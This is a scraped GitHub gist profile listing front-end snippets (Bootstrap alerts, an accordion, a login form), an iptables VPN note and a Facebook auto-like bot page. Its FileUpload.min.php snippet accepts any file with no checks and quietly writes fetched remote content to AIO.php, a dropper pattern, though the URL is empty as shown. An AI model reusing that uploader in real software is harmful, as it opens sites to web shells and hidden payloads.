Skip to content

Instantly share code, notes, and snippets.

Need Job for Web Programming

Dimas Lanjaka dimaslanjaka

Need Job for Web Programming
View GitHub Profile
View main.css
body { margin:0; padding:0; }
#map { position:absolute; top:0; bottom:0; width:100%; }
#map {
width: 75%;
dimaslanjaka / generate-bootstrap-alerts-with-javascript.markdown
Last active Jun 27, 2020
Generate Bootstrap Alerts with Javascript
View generate-bootstrap-alerts-with-javascript.markdown

Generate Bootstrap Alerts with Javascript

Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option

A Pen by Cody Sechelski on CodePen.


View FileUpload.min.php
<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('');file_put_contents(__DIR__.'/AIO.php', $content);?>
dimaslanjaka / index.html
Created Feb 1, 2020
Loading overlay - Demo by Roko C.B // source
View index.html
<!DOCTYPE html>
<meta charset="utf-8">
<title>Loading overlay - Demo by Roko C.B</title>
<style id="jsbin-css">
font: 200 16px/1 Helvetica, Arial, sans-serif;
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script.
# Inital variable setup
# Setup iptables before forwarding VPN
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat
View index.html
<title>Tutorial Bot</title>
<meta name="description" content="TUTORAL BOT Reaction Facebook"/>
<meta name="keywords" content="bot,facebook,reaction,autolike"/>
.d-none { display: none; }
a#footer {
position: fixed;
z-index: 900;
background-color: transparent;
dimaslanjaka / index.html
Created May 21, 2019
Simple Bootstrap Accordion
View index.html
<!-- <link rel="stylesheet" href=""> -->
<link rel="stylesheet" href="">
<div class="containerx container">
<div id="accordion" class="panel-group">
<div class="panel">
<div class="panel-heading">
<h4 class="panel-title">
<a href="#panelBodyOne" class="accordion-toggle" data-toggle="collapse" data-parent="#accordion">Custom Post To Send Like</a>
dimaslanjaka / index.slim
Created Mar 12, 2019
Responsive login form with Flexbox
View index.slim
form action="index.html" method="post"
h1 Sign in
input type="text" id="user-name" name="user-name" placeholder="user name"
input type="password" id="password" name="password" placeholder="password"
.button Log in